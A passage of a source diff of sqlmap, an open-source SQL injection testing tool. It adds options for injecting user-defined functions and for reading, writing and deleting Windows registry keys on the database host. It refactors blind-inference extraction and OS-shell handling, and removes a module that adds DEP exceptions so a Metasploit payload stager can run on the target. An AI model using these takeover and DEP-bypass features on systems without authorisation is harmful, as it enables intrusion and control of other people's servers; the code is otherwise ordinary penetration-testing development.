servicePack = servicePack.replace("RTM", "0")
|
||||
servicePack = servicePack.replace("SP", "")
|
||||
servicePack = servicePack.replace("Service Pack", "")
|
||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||
|
||||
if servicePack.endswith(" "):
|
||||
@@ -205,7 +208,7 @@ def __createFile(pathname, data):
|
||||
fileFP.close()
|
||||
|
||||
|
||||
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
|
||||
def __extractZipFile(tempDir, zipFile):
|
||||
# Check if the saved binary file is really a ZIP file
|
||||
if zipfile.is_zipfile(zipFile):
|
||||
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
||||
@@ -285,13 +288,13 @@ def __updateSqlmap():
|
||||
tempDir = tempfile.gettempdir()
|
||||
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
|
||||
__createFile(zipFile, sqlmapBinaryString)
|
||||
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion)
|
||||
__extractZipFile(tempDir, zipFile)
|
||||
|
||||
# For each file and directory in the temporary directory copy it
|
||||
# to the sqlmap root path and set right permission
|
||||
# TODO: remove files not needed anymore and all pyc within the
|
||||
# sqlmap root path in the end
|
||||
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
||||
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
||||
# Just for development release
|
||||
if '.svn' in root:
|
||||
continue
|
||||
|
||||
+49
-8
@@ -62,7 +62,6 @@ def cmdLineParser():
|
||||
target.add_option("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
|
||||
|
||||
# Request options
|
||||
request = OptionGroup(parser, "Request", "These options can be used "
|
||||
"to specify how to connect to the target url.")
|
||||
@@ -91,7 +90,7 @@ def cmdLineParser():
|
||||
|
||||
request.add_option("--auth-type", dest="aType",
|
||||
help="HTTP Authentication type (value "
|
||||
"Basic or Digest)")
|
||||
"Basic, Digest or NTLM)")
|
||||
|
||||
request.add_option("--auth-cred", dest="aCred",
|
||||
help="HTTP Authentication credentials (value "
|
||||
@@ -115,7 +114,6 @@ def cmdLineParser():
|
||||
help="Retries when the connection timeouts "
|
||||
"(default 3)")
|
||||
|
||||
|
||||
# Injection options
|
||||
injection = OptionGroup(parser, "Injection", "These options can be "
|
||||
"used to specify which parameters to test "
|
||||
@@ -156,7 +154,6 @@ def cmdLineParser():
|
||||
help="Matches to be excluded before "
|
||||
"comparing page contents")
|
||||
|
||||
|
||||
# Techniques options
|
||||
techniques = OptionGroup(parser, "Techniques", "These options can "
|
||||
"be used to test for specific SQL injection "
|
||||
@@ -191,7 +188,6 @@ def cmdLineParser():
|
||||
"to retrieve the queries output. No "
|
||||
"need to go blind")
|
||||
|
||||
|
||||
# Fingerprint options
|
||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||
|
||||
@@ -245,7 +241,7 @@ def cmdLineParser():
|
||||
|
||||
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
||||
help="Dump DBMS database table entries "
|
||||
"(req -T, opt -D, -C, --start, --stop)")
|
||||
"(req -T, opt -D, -C)")
|
||||
|
||||
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
||||
help="Dump all DBMS databases tables entries")
|
||||
@@ -268,10 +264,16 @@ def cmdLineParser():
|
||||
"enumerating tables")
|
||||
|
||||
enumeration.add_option("--start", dest="limitStart", type="int",
|
||||
help="First table entry to dump")
|
||||
help="First query output entry to retrieve")
|
||||
|
||||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||
help="Last table entry to dump")
|
||||
help="Last query output entry to retrieve")
|
||||
|
||||
enumeration.add_option("--first", dest="firstChar", type="int",
|
||||
help="First query output word character to retrieve")
|
||||
|
||||
enumeration.add_option("--last", dest="lastChar", type="int",
|
||||
help="Last query output word character to retrieve")
|
||||
|
||||
enumeration.add_option("--sql-query", dest="query",
|
||||
help="SQL statement to be executed")
|
||||
@@ -280,6 +282,16 @@ def cmdLineParser():
|
||||
action="store_true",
|
||||
help="Prompt for an interactive SQL shell")
|
||||
|
||||
# User-defined function options
|
||||
udf = OptionGroup(parser, "User-defined function injection", "These "
|
||||
"options can be used to create custom user-defined "
|
||||
"functions.")
|
||||
|
||||
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
|
||||
help="Inject custom user-defined functions")
|
||||
|
||||
udf.add_option("--shared-lib", dest="shLib",
|
||||
help="Local path of the shared library")
|
||||
|
||||
# File system options
|
||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
||||
@@ -335,6 +347,33 @@ def cmdLineParser():
|
||||
help="Remote absolute path of temporary files "
|
||||
"directory")
|
||||
|
||||
# Windows registry options
|
||||
windows = OptionGroup(parser, "Windows registry access", "This "
|
||||
"option can be used to access the back-end "
|
||||
"database management system Windows "
|
||||
"registry.")
|
||||
|
||||
windows.add_option("--reg-read", dest="regRead", action="store_true",
|
||||
help="Read a Windows registry key value")
|
||||
|
||||
windows.add_option("--reg-add", dest="regAdd", action="store_true",
|
||||
help="Write a Windows registry key value data")
|
||||
|
||||
windows.add_option("--reg-del", dest="regDel", action="store_true",
|
||||
help="Delete a Windows registry key value")
|
||||
|
||||
windows.add_option("--reg-key", dest="regKey",
|
||||
help="Windows registry key")
|
||||
|
||||
windows.add_option("--reg-value", dest="regVal",
|
||||
help="Windows registry key value")
|
||||
|
||||
windows.add_option("--reg-data", dest="regData",
|
||||
help="Windows registry key value data")
|
||||
|
||||
windows.add_option("--reg-type", dest="regType",
|
||||
help="Windows registry key value type")
|
||||
|
||||
# Miscellaneous options
|
||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||
|
||||
@@ -365,8 +404,10 @@ def cmdLineParser():
|
||||
parser.add_option_group(techniques)
|
||||
parser.add_option_group(fingerprint)
|
||||
parser.add_option_group(enumeration)
|
||||
parser.add_option_group(udf)
|
||||
parser.add_option_group(filesystem)
|
||||
parser.add_option_group(takeover)
|
||||
parser.add_option_group(windows)
|
||||
parser.add_option_group(miscellaneous)
|
||||
|
||||
(args, _) = parser.parse_args()
|
||||
|
||||
@@ -29,7 +29,6 @@ import re
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import kb
|
||||
|
||||
|
||||
class FingerprintHandler(ContentHandler):
|
||||
|
||||
@@ -24,7 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import os
|
||||
|
||||
from xml.sax import parse
|
||||
|
||||
@@ -48,13 +48,13 @@ def headersParser(headers):
|
||||
kb.headersCount += 1
|
||||
|
||||
topHeaders = {
|
||||
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
||||
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
|
||||
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
|
||||
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
|
||||
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
||||
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
|
||||
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml")
|
||||
}
|
||||
|
||||
for header in headers:
|
||||
|
||||
@@ -134,6 +134,10 @@ class queriesHandler(ContentHandler):
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.isDba = data
|
||||
|
||||
elif name == "check_udf":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.checkUdf = data
|
||||
|
||||
elif name == "inband":
|
||||
self.__inband = sanitizeStr(attrs.get("query"))
|
||||
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
||||
|
||||
@@ -24,11 +24,11 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.parse.headers import headersParser
|
||||
from lib.parse.html import htmlParser
|
||||
|
||||
@@ -73,8 +73,11 @@ def parseResponse(page, headers):
|
||||
# Detect injectable page absolute system path
|
||||
# NOTE: this regular expression works if the remote web application
|
||||
# is written in PHP and debug/error messages are enabled.
|
||||
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
|
||||
absFilePathsRegExp = ( " in <b>(.*?)</b> on line", "([\w]\:[\/\\\\]+)" )
|
||||
|
||||
for absFilePath in absFilePaths:
|
||||
if absFilePath not in kb.absFilePaths:
|
||||
kb.absFilePaths.add(absFilePath)
|
||||
for absFilePathRegExp in absFilePathsRegExp:
|
||||
absFilePaths = re.findall(absFilePathRegExp, page, re.I)
|
||||
|
||||
for absFilePath in absFilePaths:
|
||||
if absFilePath not in kb.absFilePaths:
|
||||
kb.absFilePaths.add(os.path.dirname(absFilePath))
|
||||
|
||||
@@ -26,7 +26,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.convert import md5hash
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setMatchRatio
|
||||
|
||||
+20
-10
@@ -85,6 +85,9 @@ class Connect:
|
||||
else:
|
||||
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
||||
|
||||
if silent is True:
|
||||
socket.setdefaulttimeout(3)
|
||||
|
||||
if direct:
|
||||
if "?" in url:
|
||||
url, params = url.split("?")
|
||||
@@ -92,12 +95,15 @@ class Connect:
|
||||
url = "%s?%s" % (url, params)
|
||||
requestMsg += "?%s" % params
|
||||
|
||||
elif multipart:
|
||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||
conn = multipartOpener.open(url, multipart)
|
||||
page = conn.read()
|
||||
if post:
|
||||
post = urlencode(post).replace("%%", "%")
|
||||
|
||||
return page
|
||||
elif multipart:
|
||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||
conn = multipartOpener.open(url, multipart)
|
||||
page = conn.read()
|
||||
|
||||
return page
|
||||
|
||||
else:
|
||||
if conf.parameters.has_key("GET") and not get:
|
||||
@@ -160,9 +166,9 @@ class Connect:
|
||||
logger.log(9, requestMsg)
|
||||
|
||||
# Get HTTP response
|
||||
page = conn.read()
|
||||
code = conn.code
|
||||
status = conn.msg
|
||||
page = conn.read()
|
||||
code = conn.code
|
||||
status = conn.msg
|
||||
responseHeaders = conn.info()
|
||||
|
||||
except urllib2.HTTPError, e:
|
||||
@@ -199,7 +205,7 @@ class Connect:
|
||||
|
||||
return None, None
|
||||
|
||||
if silent == True:
|
||||
if silent is True:
|
||||
return None, None
|
||||
|
||||
elif conf.retriesCount < conf.retries:
|
||||
@@ -210,11 +216,15 @@ class Connect:
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent)
|
||||
|
||||
else:
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
raise sqlmapConnectionException, warnMsg
|
||||
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
|
||||
parseResponse(page, responseHeaders)
|
||||
responseMsg += "(%s - %d):\n" % (status, code)
|
||||
|
||||
|
||||
+12
-13
@@ -33,7 +33,6 @@ from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import expandAsteriskForColumns
|
||||
from lib.core.common import parseUnionPage
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import replaceNewlineTabs
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -46,7 +45,7 @@ from lib.utils.resume import queryOutputLength
|
||||
from lib.utils.resume import resume
|
||||
|
||||
|
||||
def __goInference(payload, expression, charsetType=None):
|
||||
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
|
||||
start = time.time()
|
||||
|
||||
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
||||
@@ -56,7 +55,7 @@ def __goInference(payload, expression, charsetType=None):
|
||||
|
||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
||||
|
||||
count, value = bisection(payload, expression, length, charsetType)
|
||||
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if conf.eta and length:
|
||||
@@ -69,7 +68,7 @@ def __goInference(payload, expression, charsetType=None):
|
||||
return value
|
||||
|
||||
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None):
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||
outputs = []
|
||||
origExpr = None
|
||||
|
||||
@@ -97,7 +96,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
||||
warnMsg += "sqlmap is going to retrieve the value again"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
output = __goInference(payload, expressionReplaced, charsetType)
|
||||
output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
|
||||
|
||||
if isinstance(num, int):
|
||||
expression = origExpr
|
||||
@@ -107,7 +106,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
||||
return outputs
|
||||
|
||||
|
||||
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None):
|
||||
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
|
||||
"""
|
||||
Retrieve the output of a SQL query characted by character taking
|
||||
advantage of an blind SQL injection vulnerability on the affected
|
||||
@@ -134,7 +133,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||
return output
|
||||
|
||||
if unpack == False:
|
||||
return __goInference(payload, expression, charsetType)
|
||||
return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||
@@ -227,7 +226,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||
|
||||
if not stopLimit:
|
||||
if not count or not count.isdigit():
|
||||
count = __goInference(payload, countedExpression, charsetType)
|
||||
count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
|
||||
|
||||
if count and count.isdigit() and int(count) > 0:
|
||||
count = int(count)
|
||||
@@ -298,7 +297,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||
return None
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType)
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
@@ -306,12 +305,12 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
||||
expression = "%s FROM DUAL" % expression
|
||||
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType)
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||
|
||||
returnValue = ", ".join([output for output in outputs])
|
||||
|
||||
else:
|
||||
returnValue = __goInference(payload, expression, charsetType)
|
||||
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||
|
||||
return returnValue
|
||||
|
||||
@@ -346,7 +345,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
|
||||
return data
|
||||
|
||||
|
||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None):
|
||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||
"""
|
||||
Called each time sqlmap inject a SQL query on the SQL injection
|
||||
affected parameter. It can call a function to retrieve the output
|
||||
@@ -376,7 +375,7 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
||||
conf.paramNegative = False
|
||||
|
||||
if blind and not value:
|
||||
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType)
|
||||
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
|
||||
|
||||
conf.paramFalseCond = oldParamFalseCond
|
||||
conf.paramNegative = oldParamNegative
|
||||
|
||||
+14
-4
@@ -29,6 +29,12 @@ import socket
|
||||
import urllib
|
||||
import urllib2
|
||||
|
||||
from lib.core.settings import PYVERSION
|
||||
|
||||
|
||||
if PYVERSION >= "2.6":
|
||||
import ssl
|
||||
|
||||
|
||||
class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
_ports = {"http" : 80, "https" : 443}
|
||||
@@ -57,7 +63,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
self._real_host = host
|
||||
self._real_port = int(port)
|
||||
|
||||
httplib.HTTPConnection.request(self, method, url, body, headers)
|
||||
httplib.HTTPConnection.request(self, method, rest, body, headers)
|
||||
|
||||
|
||||
def connect(self):
|
||||
@@ -89,7 +95,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||
default_port = 443
|
||||
|
||||
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
|
||||
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None):
|
||||
ProxyHTTPConnection.__init__(self, host, port)
|
||||
self.key_file = key_file
|
||||
self.cert_file = cert_file
|
||||
@@ -98,8 +104,12 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||
ProxyHTTPConnection.connect(self)
|
||||
|
||||
# Make the sock ssl-aware
|
||||
ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||
self.sock = httplib.FakeSocket(self.sock, ssl)
|
||||
if PYVERSION >= "2.6":
|
||||
sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
|
||||
self.sock = sslobj
|
||||
else:
|
||||
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||
self.sock = httplib.FakeSocket(self.sock, sslobj)
|
||||
|
||||
|
||||
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||
|
||||
+24
-19
@@ -29,6 +29,7 @@ from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.takeover.udf import UDF
|
||||
from lib.takeover.xp_cmdshell import xp_cmdshell
|
||||
@@ -47,9 +48,22 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
xp_cmdshell.__init__(self)
|
||||
|
||||
|
||||
def __cmdShellCleanup(self):
|
||||
if not conf.cleanup:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.cleanup()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def execCmd(self, cmd, silent=False, forgeCmd=False):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfExecCmd(cmd, silent)
|
||||
self.udfExecCmd(cmd, silent=silent)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
|
||||
@@ -59,12 +73,12 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def evalCmd(self, cmd):
|
||||
def evalCmd(self, cmd, first=None, last=None):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
return self.udfEvalCmd(cmd)
|
||||
return self.udfEvalCmd(cmd, first, last)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
return self.xpCmdshellEvalCmd(cmd)
|
||||
return self.xpCmdshellEvalCmd(cmd, first, last)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
@@ -88,8 +102,8 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
else:
|
||||
self.execCmd(cmd, forgeCmd=True)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
if not conf.osShell and not conf.cleanup:
|
||||
self.__cmdShellCleanup()
|
||||
|
||||
|
||||
def absOsShell(self):
|
||||
@@ -137,20 +151,11 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
|
||||
self.runCmd(command)
|
||||
|
||||
if not conf.cleanup:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.cleanup()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
self.__cmdShellCleanup()
|
||||
|
||||
|
||||
def initEnv(self, mandatory=True, detailed=False):
|
||||
if self.envInitialized == True:
|
||||
if self.envInitialized is True:
|
||||
return
|
||||
|
||||
self.checkDbmsOs(detailed)
|
||||
@@ -161,11 +166,11 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfInit()
|
||||
self.udfInjectCmd()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellInit(mandatory)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
@@ -1,176 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setDEP
|
||||
|
||||
|
||||
class DEP:
|
||||
"""
|
||||
This class defines methods to handle DEP (Data Execution Prevention)
|
||||
|
||||
The following operating systems has DEP enabled by default:
|
||||
* Windows XP SP2+
|
||||
* Windows Server 2003 SP1+
|
||||
* Windows Vista SP0+
|
||||
* Windows 2008 SP0+
|
||||
|
||||
References:
|
||||
* http://support.microsoft.com/kb/875352
|
||||
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.bypassDEP = False
|
||||
self.__supportDEP = False
|
||||
|
||||
|
||||
def __initVars(self, exe):
|
||||
self.__DEPvalues = {
|
||||
"OPTIN": "only Windows system binaries are covered by DEP by default",
|
||||
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
|
||||
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
|
||||
"ALWAYSOFF": "no DEP coverage for any part of the system"
|
||||
}
|
||||
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
|
||||
self.__excRegValue = exe
|
||||
self.__excRegValue = self.__excRegValue.replace("/", "\\")
|
||||
|
||||
|
||||
def __addException(self):
|
||||
infoMsg = "adding an exception to DEP in the Windows registry "
|
||||
infoMsg += "for '%s' executable" % self.__excRegValue
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms == "PostgreSQL":
|
||||
warnMsg = "by default PostgreSQL server runs as postgres "
|
||||
warnMsg += "user which has no privileges to add/delete "
|
||||
warnMsg += "Windows registry keys, sqlmap will give it a try "
|
||||
warnMsg += "anyway"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
|
||||
|
||||
|
||||
def delException(self):
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
|
||||
infoMsg = "deleting the exception to DEP in the Windows registry "
|
||||
infoMsg += "for Metasploit Framework 3 payload stager"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.delRegKey(self.__excRegKey, self.__excRegValue)
|
||||
|
||||
|
||||
def __analyzeDEP(self):
|
||||
detectedValue = False
|
||||
|
||||
for value, explanation in self.__DEPvalues.items():
|
||||
if value in kb.dep:
|
||||
detectedValue = True
|
||||
|
||||
if value in ( "OPTIN", "ALWAYSOFF" ):
|
||||
logger.info(explanation)
|
||||
|
||||
self.bypassDEP = False
|
||||
|
||||
elif value == "OPTOUT":
|
||||
logger.info(explanation)
|
||||
|
||||
self.bypassDEP = True
|
||||
self.__addException()
|
||||
|
||||
elif value == "ALWAYSON":
|
||||
logger.warn(explanation)
|
||||
|
||||
self.bypassDEP = True
|
||||
self.__addException()
|
||||
|
||||
if detectedValue == False:
|
||||
warnMsg = "it was not possible to detect the DEP system "
|
||||
warnMsg += "policy, sqlmap will threat as if "
|
||||
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.__addException()
|
||||
|
||||
|
||||
def __systemHasDepSupport(self):
|
||||
depEnabledOS = {
|
||||
"2003": ( 1, 2 ),
|
||||
"2008": ( 0, 1 ),
|
||||
"XP": ( 2, 3 ),
|
||||
"Vista": ( 0, 1 ),
|
||||
}
|
||||
|
||||
for version, sps in depEnabledOS.items():
|
||||
if kb.osVersion == version and kb.osSP in sps:
|
||||
self.__supportDEP = True
|
||||
break
|
||||
|
||||
|
||||
def handleDep(self, exe):
|
||||
logger.info("handling DEP")
|
||||
|
||||
self.__systemHasDepSupport()
|
||||
|
||||
if self.__supportDEP == True:
|
||||
infoMsg = "the back-end DBMS underlying operating system "
|
||||
infoMsg += "supports DEP: going to handle it"
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif not kb.osVersion or not kb.osSP:
|
||||
warnMsg = "unable to fingerprint the back-end DBMS "
|
||||
warnMsg += "underlying operating system version and service "
|
||||
warnMsg += "pack: going to threat as if DEP is enabled"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.bypassDEP = True
|
||||
|
||||
else:
|
||||
infoMsg = "the back-end DBMS underlying operating system "
|
||||
infoMsg += "does not support DEP: no need to handle it"
|
||||
logger.info(infoMsg)
|
||||
|
||||
return
|
||||
|
||||
logger.info("checking DEP system policy")
|
||||
|
||||
self.__initVars(exe)
|
||||
|
||||
if not kb.dep:
|
||||
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
|
||||
setDEP()
|
||||
|
||||
self.__analyzeDEP()
|
||||
+153
-99
@@ -24,7 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
import re
|
||||
